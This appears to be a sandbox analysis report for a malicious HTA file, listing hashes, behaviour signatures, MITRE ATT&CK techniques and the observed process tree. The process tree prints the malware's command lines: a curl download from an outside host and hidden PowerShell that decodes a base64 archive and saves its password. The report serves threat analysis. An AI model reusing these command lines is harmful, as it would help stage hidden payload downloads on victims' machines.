e49192673cef8408ccb035343697a6109fd2cc128f2818744b1dffb72b846468

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/06/2026, 13:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmpqva60krw.hta
Size 3KB
Sample260601-qfhrlsfs7m
SHA256 e49192673cef8408ccb035343697a6109fd2cc128f2818744b1dffb72b846468
MD5 a129784c46e29132dcdf809ed46e8ae9
SHA1 879727bcf444ea9c02da9f1d9980bfa76c95bfb0
SHA512 08f88c44edc6c152b3d2d21b5f6eab8933ce5c43ad5243faa683802feb15b8d7616024140020a23dd452982ed936dcf5c19c5fb2a2bebf726fbd32fe0f0ce815
TLSH
T16681C72BACCBAE549D01641461ECCCC8F3D951D3641550AF3E29DC8F8FDAADBA4B305A
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3296	powershell.exe
3216	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2152	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3296	powershell.exe
3296	powershell.exe
3216	powershell.exe
3216	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeDebugPrivilege	3216	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3192 wrote to memory of 5072	3192	mshta.exe	90
PID 5072 wrote to memory of 1992	5072	cmd.exe	92
PID 1992 wrote to memory of 2896	1992	net.exe	93
PID 5072 wrote to memory of 3680	5072	cmd.exe	94
PID 5072 wrote to memory of 3296	5072	cmd.exe	95
PID 5072 wrote to memory of 868	5072	cmd.exe	98
PID 5072 wrote to memory of 3216	5072	cmd.exe	112
PID 5072 wrote to memory of 2152	5072	cmd.exe	113

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\tmpqva60krw.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3192
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\help.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1992
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:2896
- - C:\Windows\SysWOW64\curl.exe
    curl -s "https://kak.is/get_it.php" -o "C:\Users\Public\Documents\data.json"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3680
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Web; $j=Get-Content 'C:\Users\Public\Documents\data.json' -Raw|ConvertFrom-Json; if($j.status -eq 'success'){[IO.File]::WriteAllBytes('C:\Users\Public\Documents\out.7z',[Convert]::FromBase64String($j.encoded_data)); Set-Content -Path 'C:\Users\Public\Documents\password.txt' -Value $j.password}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3296
- - C:\Windows\SysWOW64\curl.exe
    curl -s "https://www.7-zip.org/a/7za920.zip" -o "C:\Users\Public\Documents\7za.zip"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:868
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\Documents\7za.zip','C:\Users\Public\Documents\temp')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3216
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 3
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d73706c5baff839a31c30037a3cc1d506b1aa9c3bbd60bdf77078c758f1bb28d
MD5 1e55bb92a0343bf3106b10dbf28cebdf
SHA1 7eced4f6808e6d022c9d44762170ac501d994465
SHA512 9925f8797f9f44b382be854aec62ce3b42efdbd0124b55c2e6c858590434b917e4432c5a5f29e3456154e1eb3400dde3a198f7722d7e279068324603a04f60a5
TLSH
T116417A303125A4D80D425F1208286ED6A3EF8749AFA89F5CB569231DCE2A44BD7220F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 17KB
SHA256 71835063a243bff7fd1b5b5119a1f135228f0ee778be80cd1894433a8e1d583a
MD5 0b3aada5f96141f8d33b08841c73776f
SHA1 786ca5a3cfe50f2360afae4a572f614f8781516e
SHA512 65b645dcc61b8bd072eb9af220bd5a3ae691c91fb670a96d69828d6180417ef32616c1985eddc658c9bbb0589b8da4808d8e39c2c4093e4c27feec0d38bc0aec
SSDEEP 384:Nrf+/5z9p+99W3TlHSJd+o9oKpCrT6seY/tyf/D93So7ZOp3lxaEpjs/F5iD:FfSWIh6joKpCr8iEflSPr8Ep0c
TLSH
T1C782B56E600F26C3C4D55378D10A095FE4F29ECD831A07D9BB5E9F3B8AACA5E903C558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_5njguvnu.k3p.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5njguvnu.k3p.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

data.json

Path C:\Users\Public\Documents\data.json
Size 6.2MB
SHA256 358a64c4785f060b1bc5e93d2ed9e33f8c4eb5ede0e8079bbafea890f5614d70
MD5 bcf4fe002c454b1b6ab4c975509f3fd2
SHA1 6c4fa2068c92fdd56f6da003fbc45de2a67b4587
SHA512 277a8b37c63a28e52f3298434ac9caa7350f555d3d227d81048a5364b01f294ee8cf052c08b29fc7613ec467f0c823463a44d9e71685afaae416ba4bc3d79660
SSDEEP 49152:tMxXGQbJoXHlZIwcB0qspCRyVQuNb946oZeb0A7XKwyxG7lv0Oicu+RsaeBMBi04:u
TLSH
T1A3663321AF543EBF476CA33A206F1F1D27E50F54801CB1EA5AE070D7486DF83A52B969
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

help.bat

Path C:\Users\Public\Documents\help.bat
Size 2KB
SHA256 58fb2dccb78634036edf6d227a90f31fa93ec61d1f092a7eef5a66a2e6f2c8d1
MD5 0db84a1f2a01e3ad518e4175f15deebc
SHA1 ed9b67eb2aa040987d33f1b9276af999e3ef633a
SHA512 0b85a1536f8d0c5da61e4d39754395de87243d5910c5c28c1befe8903f6929879446c062fa365b8e1e774973bfb5ba5549d01d1558fc3d3d62466135dbe1d171
TLSH
T152418E56210227684D35746475B246C3DE07E88F2FA0F2C57988653C2F1AF954BABCBE
MD5 SHA1 SHA512 TLSH

Submit Download

out.7z

Path C:\Users\Public\Documents\out.7z
Size 4.7MB
SHA256 76008b944d88ee925cc32a138d50968d6777e50bc54c9eb9c5028b00bd46c930
MD5 59d3332e274ee8f9ba99818336fecd0b
SHA1 bf0d34803437d6f16d2fddbed4c852fcb41803bf
SHA512 2de64c03e4a870914c6f133db8b735ed2cc439b832646c19fb450f60719629c100990b3ab31565fc6bbc92e0b588e787eeb97c83a4657cdd1cb04b332f97663d
SSDEEP 98304:C9wz8VS2JUcTy1vzP3BDoD3Y/SGJ7rJK5cPo9GC99NQLI5CRiTaedC:C9wziSDcTy1Le8/VJ7NK5cvCWIyaC
TLSH
T17236330749BA0BECA86C453908199374F5E79E49D36D90AF713D294EBE72778BCC022D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

password.txt

Path C:\Users\Public\Documents\password.txt
Size 10B
SHA256 e1ec10ec2d36d30bcc9ce401b63024580df44d91d2d829bb79c41e5d3c7c7260
MD5 348f25a14f1bad500b69e5ad1ecbddd6
SHA1 2703b2e487c5b7da87296db63040c6addce2c11e
SHA512 02bdd406b71ba6ad26dcf30362c223719abe9d807bf0540fcca1957811bded191093f1a6dfb6ecc2282ff2a00638249265ae3df0fdf653db5894868c37dcfa98
MD5 SHA1 SHA512

Submit Download

memory/3216-45-0x0000000006EE0000-0x0000000006EF2000-memory.dmp

Download

memory/3216-44-0x0000000006E30000-0x0000000006E3A000-memory.dmp

Download

memory/3216-42-0x0000000006380000-0x00000000066D4000-memory.dmp

Download

memory/3296-22-0x0000000007370000-0x00000000079EA000-memory.dmp

Download

memory/3296-19-0x0000000005600000-0x0000000005954000-memory.dmp

Download

memory/3296-20-0x0000000005A60000-0x0000000005A7E000-memory.dmp

Download

memory/3296-23-0x0000000005F80000-0x0000000005F9A000-memory.dmp

Download

memory/3296-24-0x00000000079F0000-0x0000000007F1C000-memory.dmp

Download

memory/3296-25-0x0000000006ED0000-0x0000000006F66000-memory.dmp

Download

memory/3296-26-0x00000000060B0000-0x00000000060D2000-memory.dmp

Download

memory/3296-27-0x00000000084D0000-0x0000000008A74000-memory.dmp

Download

memory/3296-28-0x0000000007140000-0x0000000007302000-memory.dmp

Download

memory/3296-21-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

Download

memory/3296-11-0x00000000053B0000-0x0000000005416000-memory.dmp

Download

memory/3296-10-0x0000000005340000-0x00000000053A6000-memory.dmp

Download

memory/3296-9-0x0000000004A40000-0x0000000004A62000-memory.dmp

Download

memory/3296-8-0x0000000004C20000-0x0000000005248000-memory.dmp

Download

memory/3296-7-0x00000000020E0000-0x00000000020F0000-memory.dmp

Download

memory/3296-6-0x00000000020F0000-0x0000000002126000-memory.dmp

Download

memory/3296-5-0x00000000020E0000-0x00000000020F0000-memory.dmp

Download